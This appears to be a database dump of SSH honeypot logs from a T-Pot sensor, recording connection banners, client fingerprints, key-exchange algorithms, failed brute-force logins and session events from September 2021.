26986	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:13:26.089752+03	2021-09-20 14:15:13.985644+03	{"_id": "wAbpAnwBvYTbRNuEJiTt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e7a27c7ba74b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:13:26.089752Z", "@timestamp": "2021-09-20T11:13:26.089Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26987	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:13:12.070578+03	2021-09-20 14:15:13.986646+03	{"_id": "LAboAnwBvYTbRNuE7iRT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 449781537677564, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35662, "dest_port": 22, "timestamp": "2021-09-20T11:13:12.070578Z", "@timestamp": "2021-09-20T11:13:12.070Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26988	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:11.602367+03	2021-09-20 14:15:13.988646+03	{"_id": "MwboAnwBvYTbRNuE7ySB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55578, "timestamp": "2021-09-20T11:13:11.602367", "@timestamp": "2021-09-20T11:13:11.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26989	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:13:12.322578+03	2021-09-20 14:15:13.989645+03	{"_id": "MgboAnwBvYTbRNuE7ySB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35662, "dest_port": 22, "timestamp": "2021-09-20T11:13:12.322578", "@timestamp": "2021-09-20T11:13:12.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26990	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:12.357693+03	2021-09-20 14:15:13.990646+03	{"_id": "UwboAnwBvYTbRNuE8iQ8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1773447508599758, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48396, "dest_port": 22, "timestamp": "2021-09-20T11:13:12.357693Z", "@timestamp": "2021-09-20T11:13:12.357Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26991	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:12.923832+03	2021-09-20 14:15:13.992645+03	{"_id": "VgboAnwBvYTbRNuE9CQY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [teresa/teresa] failed", "session": "08ae133585e1", "@version": "1", "password": "teresa", "username": "teresa", "timestamp": "2021-09-20T11:13:12.923832Z", "@timestamp": "2021-09-20T11:13:12.923Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26992	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:13.634853+03	2021-09-20 14:15:13.993646+03	{"_id": "VwboAnwBvYTbRNuE9CQY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [account/account] failed", "session": "d27c279f3a5b", "@version": "1", "password": "account", "username": "account", "timestamp": "2021-09-20T11:13:13.634853Z", "@timestamp": "2021-09-20T11:13:13.634Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26994	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:13:17.056212+03	2021-09-20 14:15:13.996645+03	{"_id": "YQbpAnwBvYTbRNuEASTd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:13:17.056212+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "116.105.211.46", "flow_id": 886893244701588, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 57978, "timestamp": "2021-09-20T11:13:17.056212Z", "@timestamp": "2021-09-20T11:13:17.056Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
26995	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:13:17.068653+03	2021-09-20 14:15:13.997646+03	{"_id": "YwbpAnwBvYTbRNuEAyS7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "2df4b53c5f5b", "@version": "1", "duration": 120.00318145751953, "timestamp": "2021-09-20T11:13:17.068653Z", "@timestamp": "2021-09-20T11:13:17.068Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26996	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:18.287297+03	2021-09-20 14:15:13.998645+03	{"_id": "ZAbpAnwBvYTbRNuEBySl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:56166 (192.168.176.2:22) [session: f876c3922047]", "session": "f876c3922047", "@version": "1", "protocol": "ssh", "src_port": 56166, "dest_port": 22, "timestamp": "2021-09-20T11:13:18.287297Z", "@timestamp": "2021-09-20T11:13:18.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26997	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:43.597482+03	2021-09-20 14:15:13.999645+03	{"_id": "uAbpAnwBvYTbRNuEaSVn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "96b5e98af180", "@version": "1", "timestamp": "2021-09-20T11:13:43.597482Z", "@timestamp": "2021-09-20T11:13:43.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26998	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:44.096474+03	2021-09-20 14:15:14.001644+03	{"_id": "ugbpAnwBvYTbRNuEayVn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1689787990263443, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 53756, "dest_port": 22, "timestamp": "2021-09-20T11:13:44.096474Z", "@timestamp": "2021-09-20T11:13:44.096Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26999	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:44.105541+03	2021-09-20 14:15:14.002644+03	{"_id": "vQbpAnwBvYTbRNuEbCWY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53756, "dest_port": 22, "timestamp": "2021-09-20T11:13:44.105541", "@timestamp": "2021-09-20T11:13:44.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
